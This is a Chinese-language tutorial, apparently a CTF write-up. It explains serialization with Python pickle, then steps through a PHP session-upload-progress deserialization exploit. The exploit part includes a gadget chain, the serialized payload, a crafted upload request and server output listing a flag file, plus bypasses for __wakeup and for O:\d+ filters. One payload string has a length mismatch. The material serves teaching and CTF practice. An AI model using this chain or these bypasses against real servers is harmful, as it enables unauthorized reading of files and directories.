序列化与反序列化
相关概念:序列化 和 反序列化。
序列化:将对象转化为字符串,目的:便于对象的保存和传输。
反序列化:将序列化字符串转化为对象。
很多编程语言都有序列化和反序列化操作,比如 python、php、java、c# 等。
python2中,用于序列化和反序列化的库为cPickle和pickle。cPickle是C语言写的,速度快,pickle是纯Python写的,速度慢,python3中为pickle库。
import pickle
# 对象的序列化
a=[1,2,3,4]
b=pickle.dumps(a) # b为字节码 b'\x80\x03]q\x00(K\x01K\x02K\x03K\x04e.'
# 反序列化
c=pickle.loads(b)
print(c) # 返回 [1, 2, 3, 4]
id(a) == id(c) # 返回 False,反序列化所得对象 与 原对象不同
# 将对象a序列化 并 保存到文件test.txt中
with open('test.txt', 'wb') as f:
pickle.dump(a, f)
# 读取文件内容并反序列化
with open('test.txt', 'rb') as f:
d = pickle.load(f)
d == a # 返回True
反序列化漏洞利用
通过对包含反序列化漏洞的类进行方法或属性重写,达到攻击者自己的目的,例如读取文件、执行命令等。
这里以php反序列化利用为例,背景代码:
index.php 文件中的代码:
<?php
require('ctf_class.php');
?>
ctf_class.php 文件中的代码:
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Monitor {
public $test;
function __construct() {
$this->test ="index.php";
}
function __destruct() {
echo "<br>file:" .$this->test."<br>";
}
}
class Welcome {
public $obj;
public $var;
function __construct(){
$this->var='success';
$this->obj=null;
}
function __toString(){
$this->obj->execute();
return $this->var."";
}
}
class Come{
public $method;
public $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('/../','',$str);
$str=str_replace('../','',$str);
return $str;
}
function get_dir($path){
print_r(scandir("/tmp".$path));
}
function execute() {
if (in_array($this->method, array("get_dir"))) {
call_user_func_array(array($this, $this->method), ($this->args));
}
}
}
?>
可以看到php序列化常见的魔法方法:__construct,__wakeup,__toString,__destruct 。
本次主要利用session反序列化,原因在于:phpinfo页面session.upload_progress.enabled是开启状态(ON),其session序列化处理器session.serialize_handler为php,session使用php读取客户端post的数据,它会在$_SESSION中添加一组数据,索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值。若post:name=tes&passwd=123456|aaaaaaaaa,以php处理器读取时得到的就是键为a:2:{s:4:“name”;s:4:“test”;s:6:“passwd”;s:16:"123456,值为 | 后面的序列化字符串aaaaaaaaa反序列化后的数据),主要利用的函数方法为get_dir,因为方法中的print_r可以实现 列任意目录 的目的。
利用步骤:
1、第一步,生成序列化利用代码
<?php
require('ctf_class.php');
$wk=new Welcome();
$clas = new Come("get_dir",array("/..//var/www/html"));
$wk->var='abc123';
$wk->obj=$clas;
$class1=new Monitor();
$class1->test=$wk;
echo serialize($class1);
?>
返回序列化字符串:
O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:17:"/..//var/www/html";}}s:3:"var";s:6:"abc";}}
2、第二步,构造上传页面,其中action指向服务器中代码包含session_start()的php文件即可。
<html>
<body>
<form action="http://target.com/class.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
3、上传任意文件,并用burp suite拦截和修改数据包内容,post请求体内容修改为以下:
------WebKitFormBoundaryBqDfnE5l1qxTYyAR
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123|O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:17:"/..//var/www/html";}}s:3:"var";s:6:"abc";}}
------WebKitFormBoundaryBqDfnE5l1qxTYyAR
Content-Disposition: form-data; name="file"; filename="tmp.txt"
Content-Type: text/plain
abcdefg
------WebKitFormBoundaryBqDfnE5l1qxTYyAR-- */
4、服务器接收请求后,返回反序列化后的内容,成功读取 /var/www/html 目录内容。
Array
(
[0] => .
[1] => ..
[2] => this_1s_F1aG
[3] => class.php
[4] => index.php
[5] => phpinfo.php
[6] => secret_key.php
[7] => sess_3sihklcri75kap91bu8pvnur65
)
<br>file:<br>
一些魔法方法的绕过:
__wakeup方法,将序列化对象
O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:17:"/..//var/www/html";}}
的成员个数修改为大于实际值,如把2改为3 。
O:4:"Come":3:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:17:"/..//var/www/html";}}
对关键字符过滤的绕过:
例如过滤了:O:\d+ ,此时O:4会被过滤,绕过方法为中间添加+,修改为O:+4。